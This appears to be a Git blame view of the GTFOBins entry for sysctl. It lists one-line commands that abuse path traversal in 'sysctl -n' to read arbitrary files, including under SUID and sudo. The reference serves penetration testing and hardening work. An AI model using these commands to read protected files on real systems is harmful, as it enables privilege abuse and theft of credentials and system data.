1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-20 10:53:35 +02:00
GTFOBins.github.io/_gtfobins/sysctl.md

17 lines
461 B
Markdown
Raw Normal View History

2020-06-11 18:10:35 +02:00
---
2020-06-11 18:18:36 +02:00
description: The `-p` argument can also be used in place of `-n`. In both cases though the output might get corrupted, so this might not be suitable to read binary files.
2020-06-11 18:10:35 +02:00
functions:
file-read:
- code: |
LFILE=file_to_read
2020-06-11 18:18:36 +02:00
/usr/sbin/sysctl -n "/../../$LFILE"
2020-06-11 18:10:35 +02:00
suid:
- code: |
LFILE=file_to_read
2020-06-11 18:18:36 +02:00
./sysctl -n "/../../$LFILE"
2020-06-11 18:10:35 +02:00
sudo:
- code: |
LFILE=file_to_read
2020-06-11 18:18:36 +02:00
sudo sysctl -n "/../../$LFILE"
2020-06-11 18:10:35 +02:00
---